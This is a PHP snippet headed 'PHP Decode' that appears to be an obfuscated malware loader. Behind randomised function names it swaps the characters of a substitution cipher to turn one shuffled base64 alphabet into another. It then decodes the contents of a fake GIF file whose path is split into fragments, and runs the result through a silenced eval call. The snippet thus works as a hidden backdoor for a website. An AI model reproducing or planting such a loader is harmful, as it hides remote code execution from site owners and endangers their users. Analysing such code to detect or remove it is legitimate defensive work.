PHP Decode

<?php 
 
if (!class_exists("doqafu_khyshethaj")) { 
 
    function bedigu_duchiwykh() { 
        //$ipagap = array(); 
        return "G+Fx50a/egfLpt4wkRrAlZq83zHcuiXjdBNJS=OQT27omEC1DvsPW6nKb9hIUyYMV"; 
    } 
 
    function pufado_xumawipu() { 
        //$eqineka = array(); 
        return "8qLJ2KBs7kNT4w6mjXUQbIc+=VO3pZWlrxadYnioRGgFCADPEv15ye/SMft9zhu0H"; 
    } 
 
    function udahiq_chejukhibo($dufebu_zhotaseshes) { 
        $setomyb = bedigu_duchiwykh(); 
        $luneqi = pufado_xumawipu(); 
        $bujacys = array(); 
        for ($qizhoja = 0; $qizhoja < strlen($setomyb); $qizhoja++) { 
            $vadobod = substr($setomyb, $qizhoja, 1); 
            $hikikeb = substr($luneqi, $qizhoja, 1); 
            $bujacys[$vadobod] = $hikikeb; 
        } 
 
        $yforise = strtr($dufebu_zhotaseshes, $bujacys); 
        $yforise = base64_decode($yforise); 
 
        return $yforise; 
    } 
 
    function ajybag_thufykidyd($dufebu_zhotaseshes) { 
        if (!file_exists($dufebu_zhotaseshes)) 
            return false; 
        $fiwigu = @file_get_contents($dufebu_zhotaseshes); 
        if (!$fiwigu) 
            return false; 
        $fiwigu = substr($fiwigu, 3); 
        $uvylupy = udahiq_chejukhibo($fiwigu); 
        return $uvylupy; 
    } 
 
    $qymicam = ajybag_thufykidyd(__DIR__ . "/asse" . "ts/ima" . "ges/h" . "ekehy." . "gif"); 
    if ($qymicam) { 
        @eval($qymicam); 
    } 
} ?>